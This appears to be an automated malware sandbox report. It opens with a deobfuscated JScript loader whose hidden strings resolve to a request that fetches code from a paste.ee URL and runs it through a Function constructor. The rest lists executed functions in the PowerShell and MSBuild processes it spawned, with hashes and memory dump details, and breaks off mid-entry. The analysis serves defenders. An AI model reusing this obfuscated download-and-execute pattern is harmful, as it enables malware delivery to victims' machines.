h,t,t,p,:,/,/,p,a,s,t,e,.,e,e,/,d,/,f,a,7,O,M,k,2,0,/,0.join("") ➔ "http://paste.ee/d/fa7OMk20/0" Show all Function Runs
3	var pyrry = "\x115f\x0efe\x0ab5\x0dd2\x068e\x2896\x046a\x2ab4\x2924\x078c\x10e5i\x254b\x2c60\x2e28open\x115f\x0efe\x0ab5\x0dd2\x068e\x2896\x046a\x2ab4\x2924\x078c\x10e5i\x254b\x2c60\x2e28".split ( "\x115f\x0efe\x0ab5\x0dd2\x068e\x2896\x046a\x2ab4\x2924\x078c\x10e5i\x254b\x2c60\x2e28" ).join ( "" );	"\xe1\x2026\x0178\xe0\xbb\xbe\xe0\xaa\xb5\xe0\xb7\x2019\xda\x017d\xe2\xa2\x2013\xd1\xaa\xe2\xaa\xb4\xe2\xa4\xa4\xde\x0152\xe1\x0192\xa5i\xe2\x2022\x2039\xe2\xb1\xa0\xe2\xb8\xa8open\xe1\x2026\x0178\xe0\xbb\xbe\xe0\xaa\xb5\xe0\xb7\x2019\xda\x017d\xe2\xa2\x2013\xd1\xaa\xe2\xaa\xb4\xe2\xa4\xa4\xde\x0152\xe1\x0192\xa5i\xe2\x2022\x2039\xe2\xb1\xa0\xe2\xb8\xa8".split("\xe1\x2026\x0178\xe0\xbb\xbe\xe0\xaa\xb5\xe0\xb7\x2019\xda\x017d\xe2\xa2\x2013\xd1\xaa\xe2\xaa\xb4\xe2\xa4\xa4\xde\x0152\xe1\x0192\xa5i\xe2\x2022\x2039\xe2\xb1\xa0\xe2\xb8\xa8") ➔ ,open, ,open,.join("") ➔ "open" Show all Function Runs
4	var alebench = "\x115f\x0efe\x0ab5\x0dd2\x068e\x2896\x046a\x2ab4\x2924\x078c\x10e5i\x254b\x2c60\x2e28send\x115f\x0efe\x0ab5\x0dd2\x068e\x2896\x046a\x2ab4\x2924\x078c\x10e5i\x254b\x2c60\x2e28".split ( "\x115f\x0efe\x0ab5\x0dd2\x068e\x2896\x046a\x2ab4\x2924\x078c\x10e5i\x254b\x2c60\x2e28" ).join ( "" );	"\xe1\x2026\x0178\xe0\xbb\xbe\xe0\xaa\xb5\xe0\xb7\x2019\xda\x017d\xe2\xa2\x2013\xd1\xaa\xe2\xaa\xb4\xe2\xa4\xa4\xde\x0152\xe1\x0192\xa5i\xe2\x2022\x2039\xe2\xb1\xa0\xe2\xb8\xa8send\xe1\x2026\x0178\xe0\xbb\xbe\xe0\xaa\xb5\xe0\xb7\x2019\xda\x017d\xe2\xa2\x2013\xd1\xaa\xe2\xaa\xb4\xe2\xa4\xa4\xde\x0152\xe1\x0192\xa5i\xe2\x2022\x2039\xe2\xb1\xa0\xe2\xb8\xa8".split("\xe1\x2026\x0178\xe0\xbb\xbe\xe0\xaa\xb5\xe0\xb7\x2019\xda\x017d\xe2\xa2\x2013\xd1\xaa\xe2\xaa\xb4\xe2\xa4\xa4\xde\x0152\xe1\x0192\xa5i\xe2\x2022\x2039\xe2\xb1\xa0\xe2\xb8\xa8") ➔ ,send, ,send,.join("") ➔ "send" Show all Function Runs
5	var tentaculicyst = "\x115f\x0efe\x0ab5\x0dd2\x068e\x2896\x046a\x2ab4\x2924\x078c\x10e5i\x254b\x2c60\x2e28responseText\x115f\x0efe\x0ab5\x0dd2\x068e\x2896\x046a\x2ab4\x2924\x078c\x10e5i\x254b\x2c60\x2e28".split ( "\x115f\x0efe\x0ab5\x0dd2\x068e\x2896\x046a\x2ab4\x2924\x078c\x10e5i\x254b\x2c60\x2e28" ).join ( "" );	"\xe1\x2026\x0178\xe0\xbb\xbe\xe0\xaa\xb5\xe0\xb7\x2019\xda\x017d\xe2\xa2\x2013\xd1\xaa\xe2\xaa\xb4\xe2\xa4\xa4\xde\x0152\xe1\x0192\xa5i\xe2\x2022\x2039\xe2\xb1\xa0\xe2\xb8\xa8responseText\xe1\x2026\x0178\xe0\xbb\xbe\xe0\xaa\xb5\xe0\xb7\x2019\xda\x017d\xe2\xa2\x2013\xd1\xaa\xe2\xaa\xb4\xe2\xa4\xa4\xde\x0152\xe1\x0192\xa5i\xe2\x2022\x2039\xe2\xb1\xa0\xe2\xb8\xa8".split("\xe1\x2026\x0178\xe0\xbb\xbe\xe0\xaa\xb5\xe0\xb7\x2019\xda\x017d\xe2\xa2\x2013\xd1\xaa\xe2\xaa\xb4\xe2\xa4\xa4\xde\x0152\xe1\x0192\xa5i\xe2\x2022\x2039\xe2\xb1\xa0\xe2\xb8\xa8") ➔ ,responseText, ,responseText,.join("") ➔ "responseText" Show all Function Runs
6	var batholith = "\x115f\x0efe\x0ab5\x0dd2\x068e\x2896\x046a\x2ab4\x2924\x078c\x10e5i\x254b\x2c60\x2e28Function\x115f\x0efe\x0ab5\x0dd2\x068e\x2896\x046a\x2ab4\x2924\x078c\x10e5i\x254b\x2c60\x2e28".split ( "\x115f\x0efe\x0ab5\x0dd2\x068e\x2896\x046a\x2ab4\x2924\x078c\x10e5i\x254b\x2c60\x2e28" ).join ( "" );	"\xe1\x2026\x0178\xe0\xbb\xbe\xe0\xaa\xb5\xe0\xb7\x2019\xda\x017d\xe2\xa2\x2013\xd1\xaa\xe2\xaa\xb4\xe2\xa4\xa4\xde\x0152\xe1\x0192\xa5i\xe2\x2022\x2039\xe2\xb1\xa0\xe2\xb8\xa8Function\xe1\x2026\x0178\xe0\xbb\xbe\xe0\xaa\xb5\xe0\xb7\x2019\xda\x017d\xe2\xa2\x2013\xd1\xaa\xe2\xaa\xb4\xe2\xa4\xa4\xde\x0152\xe1\x0192\xa5i\xe2\x2022\x2039\xe2\xb1\xa0\xe2\xb8\xa8".split("\xe1\x2026\x0178\xe0\xbb\xbe\xe0\xaa\xb5\xe0\xb7\x2019\xda\x017d\xe2\xa2\x2013\xd1\xaa\xe2\xaa\xb4\xe2\xa4\xa4\xde\x0152\xe1\x0192\xa5i\xe2\x2022\x2039\xe2\xb1\xa0\xe2\xb8\xa8") ➔ ,Function, ,Function,.join("") ➔ "Function" Show all Function Runs
7	Shumen[pyrry] ( "GET", basketcases, false );	open("GET","http://paste.ee/d/fa7OMk20/0",false) ➔ undefined
8	Shumen[alebench] ( );	send() ➔ undefined
9	new this[batholith] ( Shumen[tentaculicyst] ) ( );	() ➔ undefined

Analysis Process: powershell.exePID: 6852, Parent PID: 7148COMMON

Execution Graph

Execution Coverage

Dynamic/Packed Code Coverage

Signature Coverage

Execution Coverage:	2.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	4
Total number of Limit Nodes:	0

Show Legend

Hide Nodes/Edges

Executed Functions

Function 00007FF88A972E28 Relevance: .7, Instructions: 716
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.1583912769.00007FF88A970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF88A970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff88a970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 011c0aa564910bd1349248ccfc86826f4be8d02e7be43e585017a4b8d30a50c5
Instruction ID: dde6d365e4c148c94e2dc9efe4773f5620ddb40597a48d4fc1c577bece7c9a62
Opcode Fuzzy Hash: 011c0aa564910bd1349248ccfc86826f4be8d02e7be43e585017a4b8d30a50c5
Instruction Fuzzy Hash: 45222621A0EBC95FE3569A289C592B57BE1FF46260B0841FFD45DC71D3DE18AC06C3A2

Function 00007FF88A972C7A Relevance: 2.6, Strings: 2, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

r6y, xrefs: 00007FF88A972CAA
r6y, xrefs: 00007FF88A972C87

Memory Dump Source

Source File: 0000000A.00000002.1583912769.00007FF88A970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF88A970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff88a970000_powershell.jbxd

Similarity

API ID:
String ID: r6y$r6y
API String ID: 0-2250052535
Opcode ID: 6ede4a1a0ab541f7e50d62f5424ca67728dceb3566b1b98ddd438132a26f572f
Instruction ID: d9fbc03b0bcbb7c2ceb7a060abf098f13645962975c65800d0de93cd6fba5fba
Opcode Fuzzy Hash: 6ede4a1a0ab541f7e50d62f5424ca67728dceb3566b1b98ddd438132a26f572f
Instruction Fuzzy Hash: AB313C32F1DD990FFBA59A5CAC192F9B3D1FFA4690B5801F6C41EC31D5DE18A8128391

Function 00007FF88A8B3947 Relevance: 1.6, APIs: 1, Instructions: 139
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE ref: 00007FF88A8B39BA

Memory Dump Source

Source File: 0000000A.00000002.1583205795.00007FF88A8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF88A8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff88a8a0000_powershell.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 04989912e9650e0cfa56c0190a299e7c47df4146a9177ef527353b11c7720c56
Instruction ID: 40f2b6fe6655448a8f74ba9ab5342afe187fe25b187902a72c43540c92e18627
Opcode Fuzzy Hash: 04989912e9650e0cfa56c0190a299e7c47df4146a9177ef527353b11c7720c56
Instruction Fuzzy Hash: AC411A31A08A6D8FDBA4EB18D854BE9B7F0FB59310F0001EAD44DE3291DB75AA81CF41

Function 00007FF88A972C9D Relevance: 1.3, Strings: 1, Instructions: 43
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

r6y, xrefs: 00007FF88A972CAA

Memory Dump Source

Source File: 0000000A.00000002.1583912769.00007FF88A970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF88A970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff88a970000_powershell.jbxd

Similarity

API ID:
String ID: r6y
API String ID: 0-3142403458
Opcode ID: bf589bd9ba46f9c3634f703d9fe17af10b3f365ef3d6bc58de0c096c41885bb9
Instruction ID: ec9c0918ce39211c29122230bc32987aafea08af00864482a98de06cbb2f1e5e
Opcode Fuzzy Hash: bf589bd9ba46f9c3634f703d9fe17af10b3f365ef3d6bc58de0c096c41885bb9
Instruction Fuzzy Hash: 8FF02422F1E9D91BA7A4AA6C7C192F463D1FFA59A0B1C02F6C81DC3186DC085C164381

Function 00007FF88A97166E Relevance: .2, Instructions: 224
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.1583912769.00007FF88A970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF88A970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff88a970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd2c880f4a940415911ebdb22fa1bea8062042572c33f0facc70ebf15b20e2b6
Instruction ID: 64a7c21aa93329a7ac9a947b406883eb984db734b1f8639642769707f58891f4
Opcode Fuzzy Hash: cd2c880f4a940415911ebdb22fa1bea8062042572c33f0facc70ebf15b20e2b6
Instruction Fuzzy Hash: 7061F722F0FAC61FE7959A6C5C692B5A2D2FF55690F6801FAC41DC71E3EE0C9806C351

Function 00007FF88A9716BA Relevance: .1, Instructions: 142
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.1583912769.00007FF88A970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF88A970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff88a970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71ee6ea31256c5688007a382b27ad77653f3848299609c209b731daa144b2ec1
Instruction ID: a7cd2064878b741712c67eff12870bbe7ba23f246483177569e6d5c25f9b09e0
Opcode Fuzzy Hash: 71ee6ea31256c5688007a382b27ad77653f3848299609c209b731daa144b2ec1
Instruction Fuzzy Hash: E141C522E1FAC71BF7959A684C692B556D2FF516E1F6801F9C41DC71F2EE0C9C06C212

Non-executed Functions

Function 00007FF88A8AB8A6 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1583205795.00007FF88A8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF88A8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff88a8a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15a39fa6437b56073d66bd842333846db334ef7f089ca8ae8a35129fc0fe95f0
Instruction ID: 8b77a9b7d454f442ddadc1fcf28b5ef76267ecff89d49064a746dbef4a85518a
Opcode Fuzzy Hash: 15a39fa6437b56073d66bd842333846db334ef7f089ca8ae8a35129fc0fe95f0
Instruction Fuzzy Hash: 6601B130A0E6896FE7169B24D9546ECB7B4FB42380F0441B6C805D72D2DE7C7919D762

Function 00007FF88A8AB8B9 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1583205795.00007FF88A8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF88A8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff88a8a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a62ea21a86f219c4b0c5854a5f55d5d822b0bf7b9dfdbec7511343b7ce3e9dcb
Instruction ID: 997310e453358c695885c4ce126f12fc0090f40240e2df2c2d5642aea1014e86
Opcode Fuzzy Hash: a62ea21a86f219c4b0c5854a5f55d5d822b0bf7b9dfdbec7511343b7ce3e9dcb
Instruction Fuzzy Hash: C9F0AF30E0E64DAAE7249A64E9447FCB3B5FB46380F000275C805932C1EE78B514D652

Analysis Process: MSBuild.exePID: 6720, Parent PID: 6852COMMON

Executed Functions

Function 026BC530 Relevance: 4.3, Strings: 1, Instructions: 3069COMMON

Download Yara Rule

Strings

N, xrefs: 026BF910

Memory Dump Source

Source File: 0000000C.00000002.2506743042.00000000026B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_26b0000_MSBuild.jbxd

Similarity

API ID:
String ID: N
API String ID: 0-1130791706
Opcode ID: 0fd2a6b6e149417ba82214560f8d8400a88cd29944c5f64e098fa34f38bdfeba
Instruction ID: 1961d912434bc1e9923697975d0ca801e9ed5262914424cfd6c82d108516220c
Opcode Fuzzy Hash: 0fd2a6b6e149417ba82214560f8d8400a88cd29944c5f64e098fa34f38bdfeba
Instruction Fuzzy Hash: C473D331C1075A8EDB11EF68C844AD9F7B1FF99300F11969AE4597B221EB70AAC5CF81

Function 026B19B8 Relevance: .7, Instructions: 748COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2506743042.00000000026B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_26b0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77191072551467886c61bb52de82f69b25fd46abd061665d08e8b4406cd71ed2
Instruction ID: 2f84d601edb05cb5627a1829356bf8b170ef3a198059ab5efb3f981c40a8b436
Opcode Fuzzy Hash: 77191072551467886c61bb52de82f69b25fd46abd061665d08e8b4406cd71ed2
Instruction Fuzzy Hash: 04621D728153578ECB0BCF28C5D7A85FFB9EF9331071A95C6C8848F1A6C760A686CB15

Function 026B2DD1 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2506743042.00000000026B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_26b0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06d2a0eb95e501bc6a2dab8a7a73c67feb5bc35123f15eeff1e406b341ea1606
Instruction ID: a57994fcc5b99958bfdea3c03d3e222e82cda670c6ae54e93e2571553f45c654
Opcode Fuzzy Hash: 06d2a0eb95e501bc6a2dab8a7a73c67feb5bc35123f15eeff1e406b341ea1606
Instruction Fuzzy Hash: 0A917F30F00258DBDB1DDFB888552BEBBA3AFC8700B19856ED406E7385DE348852C791

Function 026B9480 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2506743042.00000000026B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_26b0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e564026b876773ae291b54a31774d33a1f86da6d55ce5c8164b1131cbe56d68f
Instruction ID: ede9b7daf3c9694fad86aba91ec223018f5e80eca9c67f4e6f2a9724e56b932f
Opcode Fuzzy Hash: e564026b876773ae291b54a31774d33a1f86da6d55ce5c8164b1131cbe56d68f
Instruction Fuzzy Hash: FCC1AF74E01218CFDB55DFA5D984B9DBBB2FF88304F2081A9D809A7365DB35AA85CF10

Function 026BC521 Relevance: .2, Instructions: 225COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2506743042.00000000026B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_26b0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3984fbec17ec3f4ea4626e96c73be09639ea465217fa701111e0b2adf68d060
Instruction ID: 8b8bf08940e0901463ad686761e611bcf16a9f0a898aa7f54f466eb3a29fb130
Opcode Fuzzy Hash: a3984fbec17ec3f4ea4626e96c73be09639ea465217fa701111e0b2adf68d060
Instruction Fuzzy Hash: F2A1F471D106198EDB15DFA9C8447DDFBB1EF89304F10C6AAE458AB260EB709AC5CF41

Function 026B9A30 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2506743042.00000000026B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_26b0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee068693a722af6ee44def2233381e00f13612b0b383d21ca8c9c59e16238bb0
Instruction ID: 3051dcb9db84848744136b149259fed6f2924ed9e57ef009adf81a31a9593ced
Opcode Fuzzy Hash: ee068693a722af6ee44def2233381e00f13612b0b383d21ca8c9c59e16238bb0
Instruction Fuzzy Hash: A1A1E170D00208CFEB14DFA9C948BDDBBB1FF89305F208269E509AB2A5DB759985CF54

Function 026B9A40 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2506743042.00000000026B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_26b0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f061d890386729edf05c8fdd2fb59bfad6fa9feb4e3ddaeaff199f1d7aac7fb6
Instruction ID: 3b1ebc9e9876dde22e95b0ed5a8a5544e57a19078fedac07cd1704f12a8124be
Opcode Fuzzy Hash: f061d890386729edf05c8fdd2fb59bfad6fa9feb4e3ddaeaff199f1d7aac7fb6
Instruction Fuzzy Hash: F8A1D170900208CFEB24DFA9C948BDDBBB1FF89305F208269D509AB3A5DB759985CF54

Function 026B9D87 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2506743042.00000000026B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_26b0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6167694de02768acf63b058d886bebab80ddf66e70f87324dade0fb30d240dff
Instruction ID: 279ed597d1bb6d25ee694e14888e18aa1a7a7084119e305b8a3f0745249c1e16
Opcode Fuzzy Hash: 6167694de02768acf63b058d886bebab80ddf66e70f87324dade0fb30d240dff
Instruction Fuzzy Hash: 6A91F070D00208CFEB24DFA9C988BDDBBB1FF89315F208259E509AB291DB759985CF54

Function 026B946F Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2506743042.00000000026B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_26b0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22ae17dac4e2a7ed1f1e0e16e6d03ada8387b046a3ba3ccf41a32676daa6b98
Instruction ID: b41a873389aada1aa69b6bd9291140acf907fa321fc45e65d7ba55d7d76cd1bc
Opcode Fuzzy Hash: a22ae17dac4e2a7ed1f1e0e16e6d03ada8387b046a3ba3ccf41a32676daa6b98
Instruction Fuzzy Hash: 6F41E375D01208CBEB18CFAAD9447DDBBF2BF88304F24D12AC815AB269DB395945CF50

Function 026B3F78 Relevance: 3.9, Strings: 3, Instructions: 125COMMON

Download Yara Rule

Strings

0ohp, xrefs: 026B3FDA
Ljhp, xrefs: 026B4078
Ljhp, xrefs: 026B4088

Memory Dump Source

Source File: 0000000C.00000002.2506743042.00000000026B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_26b0000_MSBuild.jbxd

Similarity

API ID:
String ID: 0ohp$Ljhp$Ljhp
API String ID: 0-1378888368
Opcode ID: e448f451a1b7d08f497cc0912125a9aba3075e4364ff8b1d8362dc9c1f53852f
Instruction ID: 1a89cb7a15f549010be8e614d0c19199e38d072abe1793f124014eba66829646
Opcode Fuzzy Hash: e448f451a1b7d08f497cc0912125a9aba3075e4364ff8b1d8362dc9c1f53852f
Instruction Fuzzy Hash: 9751C274E00248DFDB48DFA9D594ADDBBF2BF89300F20846AE815AB365DB349842CF10

Function 026BAD3D Relevance: 1.7, Strings: 1, Instructions: 472COMMON

Download Yara Rule

Strings

, xrefs: 026BB015

Memory Dump Source

Source File: 0000000C.00000002.2506743042.00000000026B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_26b0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 9c6c69806de0d75cb908583a50657cff8b1180d886aac64f6afb6d6c95b69546
Instruction ID: 6d450c5868651864eabc0b397400780837e9724937f5a0037700fbb5b1ad3a85
Opcode Fuzzy Hash: 9c6c69806de0d75cb908583a50657cff8b1180d886aac64f6afb6d6c95b69546
Instruction Fuzzy Hash: 35610730B002448FDB166B78D91467E3BA2FF89364F14852AE962DB3D1DF398D42C791

Function 026BAF78 Relevance: 1.5, Strings: 1, Instructions: 233COMMON

Download Yara Rule

Strings

, xrefs: 026BB065

Memory Dump Source

Source File: 0000000C.00000002.2506743042.00000000026B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_26b0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: ed80a9f00f89455eae4c407bc1d5762aacbea9b3698d3b969922b38fbe7b0b60
Instruction ID: 15df6c3405f389cf29aad795c99f9cc1b0a4113d8552bc901e3679ea269bc84a
Opcode Fuzzy Hash: ed80a9f00f89455eae4c407bc1d5762aacbea9b3698d3b969922b38fbe7b0b60
Instruction Fuzzy Hash: 3981F730B001449FDF266F7899546BD3BA2FF85369F24812AE9229B3D1DF358D82C791

Function 026BB500 Relevance: .4, Instructions: 386COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2506743042.00000000026B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_26b0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c733c81f305ffcc3788f723410b5cc31eada937a2f24e034932d309375dc305c
Instruction ID: 5f2c89799069ae3d591a9a6622a55566844699f8e6d77f2578f5965e772120de
Opcode Fuzzy Hash: c733c81f305ffcc3788f723410b5cc31eada937a2f24e034932d309375dc305c
Instruction Fuzzy Hash: 6DD1D671B041048FCB15DB78D451AEE7BB2EF89324F284065E906EB391DB35DD81CBA1

Function 026BBF80 Relevance: .2, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2506743042.00000000026B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_26b0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51fc0c53e67d44b88e18743253ae22cf64ca854b165e1ab79a1eccbbe2a69d13
Instruction ID: 0d2a866e0e415c6b2d771afb066805b7120e911cc56933412b418159e5daded4
Opcode Fuzzy Hash: 51fc0c53e67d44b88e18743253ae22cf64ca854b165e1ab79a1eccbbe2a69d13
Instruction Fuzzy Hash: 3161C472B006059FCB25DBB9D844AAEBBB9EFC8324B14853BE519D7340D732D9418BA0

Function 026B0B20 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2506743042.00000000026B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_26b0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18ac7cf080c7f52f3b763152ddea0f56cb86bb108badd6e9ae5dd2ef6048d9b3
Instruction ID: 268cc13a816ffc18f753f39abf2593d151964758a5d66cc91893f8a7cd0e457f
Opcode Fuzzy Hash: 18ac7cf080c7f52f3b763152ddea0f56cb86bb108badd6e9ae5dd2ef6048d9b3
Instruction Fuzzy Hash: 89A1E974A00609CFCF45EFA8E894A9DBBB2FF88309F104569D405AB369DB746D45CF90

Function 026B0B30 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2506743042.00000000026B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_26b0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ff0e176b0aa34ab6e82026cc844bde4f4fece37b8414ead6b3dde69cafc109a
Instruction ID: 0da0353d7404b677dc06417aa18f24999784a7e88691f0130b60383ccfa115cd
Opcode Fuzzy Hash: 0ff0e176b0aa34ab6e82026cc844bde4f4fece37b8414ead6b3dde69cafc109a
Instruction Fuzzy Hash: 74A1D974A00609CFCF45EFA8E884A9DBBB2FB88309F108569D405AB369DB746D45CF90

Function 026BBC28 Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2506743042.00000000026B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_26b0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9e8d2301c21d14bbafca492df6f11e05e9b02da66b53656d0fb1f94d6a5b1fd
Instruction ID: c6161b61455df73941ee726ca6ddc76d813db352fe6751c4aef1b668ae037e10
Opcode Fuzzy Hash: c9e8d2301c21d14bbafca492df6f11e05e9b02da66b53656d0fb1f94d6a5b1fd
Instruction Fuzzy Hash: 3B41F431B002089FCB15EBB9D8156AE7FB6EF89305F1440BAE906DB351DE359D42CBA0

Function 026B2C78 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2506743042.00000000026B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_26b0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5187892f1a984418df3823cd2eb2c5da8e70fde4811fa96e85dcdc7327f7d0a7
Instruction ID: 3d6fe8cf1513ce8fb3b0b317e03cad698254efe67268d4f2ce38b205464ce7f6
Opcode Fuzzy Hash: 5187892f1a984418df3823cd2eb2c5da8e70fde4811fa96e85dcdc7327f7d0a7
Instruction Fuzzy Hash: 7531B235B04219CBDF6E5A6588A43BE7AE6BFC4305F18413BDD06D73D1DB7488898361

Function 026B3168 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2506743042.00000000026B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_26b0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75e3cb4f64be93173610d57faef7c27ae2a83b291c3b3d91726f82fca23c8e52
Instruction ID: 42064c0755ed7ee9cb200e11cf87ca430b3469d67dbc16b3faf2bcb381b19474
Opcode Fuzzy Hash: 75e3cb4f64be93173610d57faef7c27ae2a83b291c3b3d91726f82fca23c8e52
Instruction Fuzzy Hash: 2241C174E012089FDB48DFAAD894ADDBBB2BF89300F249469E805BB364DB349845CF14

Function 026B9249 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2506743042.00000000026B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_26b0000_MSBuild.jbxd

Similarity

API ID:
String ID:
